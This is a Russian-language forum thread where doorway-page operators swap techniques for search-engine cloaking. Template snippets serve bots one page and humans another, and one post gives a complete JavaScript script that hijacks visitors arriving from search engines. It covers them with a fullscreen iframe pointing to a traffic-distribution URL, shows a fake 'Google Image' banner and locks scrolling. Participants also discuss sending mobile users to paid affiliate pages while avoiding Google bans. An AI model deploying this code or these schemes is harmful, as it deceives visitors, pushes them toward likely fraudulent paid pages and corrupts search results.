Вопросы по Клоаке

Тема в разделе "Шаблонизатор и Шаблоны", создана пользователем Zero, 25 фев 2016.

  1. Zero

    Zero Участник

    22 фев 2016
    16
    10
    Мужской
    Подскажите как правильно реализовать клоаку. Используя встроенные инструменты в дорген. Или же лучше использовать объединение доргена и например кейтаро тдс. Или еще есть какие варианты? Ну и прошу показать пример как у вас это реализовано. Спасибо заранее!
     
  2. Firestarter

    Firestarter Администратор
    Команда форума

    26 окт 2015
    1.195
    553
    Даже вам не знаю что ответить, как то так:

    Код:
    {% if isBot() == true %}
    тут контент, если это робот зашел
    {% else %}
    тут контент если человек
    {% endif %}
    Если на странице много блоков текста, можно делать так:

    Код:
    {% set bot = isBot()  %}
    
    {% if bot == true %}
    тут контент, если это робот зашел первый блок
    {% else %}
    тут контент если человек первый блок
    {% endif %}
    
    {% if bot == true %}
    тут контент, если это робот зашел второй блок
    {% else %}
    тут контент если человек второй  блок
    {% endif %}
     
  3. Firestarter

    Firestarter Администратор
    Команда форума

    26 окт 2015
    1.195
    553
    Продублировал тут, чтобы не потерялось. Спасибо
     
    Zero нравится это.
  4. Moloko Plus

    Moloko Plus Новичок

    1 дек 2015
    11
    2
    Мужской
    А если сделать так, будет грузить фрейм для пользователя?
    {% if isBot() == true %}
    тут контент шаблона, если это робот зашел
    {% else %}
    Если человек, <iframe src="Ссылка на нужный ресурс" style="z-index: 9999; position: fixed; left:0px; top: 0px; background: #fff;" scrolling="yes" width="100%" frameborder="0" height="100%"></iframe>
    {% endif %}
     
  5. Firestarter

    Firestarter Администратор
    Команда форума

    26 окт 2015
    1.195
    553

    На своих дорох я делаю так:

    {% if isBot() == false %}
    Тут контент будет показан только людям, боты этого видеть не будут
    {% endif %}
     
  6. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    Подскажите пожалуйста, почему не работает конструкция: <script type="text/javascript" src="{{settings.base_url}}templates/public/files.js"></script> не запускается фрейм?
     
  7. Felix

    Felix Новичок

    10 апр 2016
    42
    4
    Мужской
    <script type="text/javascript" src="{{settings.base_url}}templates/public/тут должна быть папка с темой/files.js"></script>
    и название этой папки прописываешь в конфиге:
    'public_template_default'=>'тут должна быть папка с темой',

    Попробуй так.
     
    fokus нравится это.
  8. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    Спасибо, действительно пропустил строку.
     
  9. Moloko Plus

    Moloko Plus Новичок

    1 дек 2015
    11
    2
    Мужской
    Не пойму в чем причина, на впс не работает функция {{ |morphy}} пробую шаблон на локалке все в порядке, функция работает нормально, текст меняться.
    Было:
    По статистике рак прямой кишки ежегодно забирает жизни более полмиллиона человек. предвестником грозного недуга часто становится…«банальный» геморрой! Им болеет 30% населения планеты и почти все считают его не особо приятной, но не очень опасной болезнью. Как показывает практика, к сожалению, это не так. Геморрой может быть причиной или предвестником онкологических заболеваний прямой кишки. Именно поэтому важно лечить его вовремя или – умереть от невнимания и неуважения к своему телу.

    Стало:
    По тумбе разгрузок палый лжи сыро забирает стадии застенчиво отбора дилер. Умывальником безобразного вермахта тихо-тихо становится…«дежурный» иней! Кьянти застенчивот 30% слагаемые ямы и бессознательно неудобно считают его не особо юной, но не очень антропогенной экологией. Как показывает празгрузоктика, к орудию, это не так. Иней может быть злобой или умывальником медовых упущений палый лжи. Кьянтиенно наперебой нараспев лечить его чудом или – умереть от невнкьянтиания и пекла к своему эм.
    Запускаю на ВПС, не работает, вернее работает но как то странно, меняет всего одно слово из нескольких предложений, и то через раз. В чем может быть проблема?
     
  10. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    #10 qwertyman, 12 июн 2016
    Последнее редактирование: 12 июн 2016
    Как я понимаю, клоаку нужно вешать после того как страницы уже проиндексированы и идёт какой то трафик. Но ведь страница уже в кеше тандера без куска кода с флеймом. Или я в чём-то не прав?.

    Просто сейчас заливаю пачку доров, и не могу определится с флеймом. Вешать клоаку сразу, или после кеширования тандером???

    Сам код как я понимаю такой:

    {% if isBot() == false %}
    <script type="text/javascript" src="{{settings.base_url}}templates/public/filmoteka/files.js"></script>
    {% endif %}

    И дайте пример кода, который засовывать в файл files.js....
     
  11. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    #11 fokus, 12 июн 2016
    Последнее редактирование: 13 июн 2016
    Вешаю фрейм сразу..

    пример кода
    var keyword=document.title.split (' - ');
    var isps=document.referrer.match(/(yandex)|(vk)|(qip)|(nigma)|(mail)|(webalta)|(rambler)|(bing)|(yahoo)|(yoops)/i);
    var isbot=document.referrer.match(document.domain);
    var isgoogle=document.referrer.match(/(google)/i);
    var splashpage={
    splashenabled: 1,
    splashpageurl: 'http://ваша тдс/dwl?q='+keyword,
    enablefrequency: 0,
    displayfrequency: "2 days",
    defineheader: '<div style="padding: 5px; color: white; font: bold 16px Verdana; background: black url(blockdefault.gif) center center repeat-x;"><a style="position:fixed; top: 2px; right: 5px" href="javascript:splashpage.closeit()" title="Skip to Content"><img src="skip.gif" border="0" width="114px" height="23px" /></a>Bought to you by Google Image...</div>',
    cookiename: ["splashpagecookie", "path=/"],
    autohidetimer: 0,
    launch:false,
    browserdetectstr: (window.opera&&window.getSelection) || (!window.opera && window.XMLHttpRequest),
    output:function(){
    document.write('<div id="slashpage" style="position: fixed; z-index: 1000000; color: white; background-color:white">')
    document.write('<iframe name="splashpage-iframe" src="about:blank" style="margin:0; padding:0; width:100%; height: 100%"></iframe>')
    document.write('<br />&nbsp;</div>')
    this.splashpageref=document.getElementById("slashpage")
    this.splashiframeref=window.frames["splashpage-iframe"]
    this.splashiframeref.location.replace(this.splashpageurl)
    this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
    if (!/safari/i.test(navigator.userAgent))
    this.standardbody.style.overflow="hidden"
    this.splashpageref.style.left=0
    this.splashpageref.style.top=0
    this.splashpageref.style.width="100%"
    this.splashpageref.style.height="100%"
    this.moveuptimer=setInterval("window.scrollTo(0,0)", 50)
    },
    closeit:function(){
    clearInterval(this.moveuptimer)
    this.splashpageref.style.display="none"
    this.splashiframeref.location.replace("about:blank")
    this.standardbody.style.overflow="auto"
    },
    init:function(){
    if (this.enablefrequency==1){
    if (/sessiononly/i.test(this.displayfrequency)){
    if (this.getCookie(this.cookiename[0]+"_s")==null){
    this.setCookie(this.cookiename[0]+"_s", "loaded")
    this.launch=true
    }
    }
    else if (/day/i.test(this.displayfrequency)){
    if (this.getCookie(this.cookiename[0])==null || parseInt(this.getCookie(this.cookiename[0]))!=parseInt(this.displayfrequency)){
    this.setCookie(this.cookiename[0], parseInt(this.displayfrequency), parseInt(this.displayfrequency))
    this.launch=true
    }
    }
    }
    else
    this.launch=true
    if (this.launch){
    this.output()
    if (parseInt(this.autohidetimer)>0)
    setTimeout("splashpage.closeit()", parseInt(this.autohidetimer)*1000)
    }
    },
    getCookie:function(Name){
    var re=new RegExp(Name+"=[^;]+", "i");
    if (document.cookie.match(re))
    return document.cookie.match(re)[0].split("=")[1]
    return null
    },
    setCookie:function(name, value, days){
    var expireDate = new Date()
    if (typeof days!="undefined"){
    var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days))
    document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; "+splashpage.cookiename[1]
    }
    else
    document.cookie = name+"="+value+"; "+splashpage.cookiename[1]
    }
    }
    if (isps){
    if(!isbot){
    if (splashpage.browserdetectstr && splashpage.splashenabled==1){
    splashpage.init()
    }
    }
    }

    if(isgoogle){
    if (splashpage.browserdetectstr && splashpage.splashenabled==1){
    splashpage.init()
    }
    }
     
    qwertyman нравится это.
  12. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    Круто, а не поясните куда всё это прописать поподробнее..
     
  13. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    Создаете файл с расшерением .js
    splashpageurl: 'http://ваш домен/dwl?q='+keyword, вот сюда вставляйте ссылку на вашу тдс
     
    qwertyman нравится это.
  14. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    Красава, ты не представляешь как мне помог)))))
     
    fokus нравится это.
  15. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    Фрейм должен работать после перехода с пс
     
  16. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    #16 qwertyman, 12 июн 2016
    Последнее редактирование: 12 июн 2016
    ок, уже тестирую

    P.S. всё отлично работает.
     
  17. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    И всё-же, на мобильнике фрейм отказывается работать. Белый экран.
     
  18. fokus

    fokus Новичок

    12 апр 2016
    15
    3
    Мужской
    Мобильные можно сразу редиректить на платник мобильной партнерки, без фрейма
     
  19. qwertyman

    qwertyman Новичок

    30 май 2016
    17
    4
    Мужской
    Можно то можно конечно, но гугл банит нещадно за такой жёсткий редерикт.
     
    GrafMK нравится это.
  20. GrafMK

    GrafMK Активный Участник

    27 окт 2015
    276
    51
    Мужской
    Присоединюсь.
    Плюс всяким партнерским байкам о том что только 3Г сливаем и прочее, верить не советую. Банят также беспощадно за такое
     

Поделиться этой страницей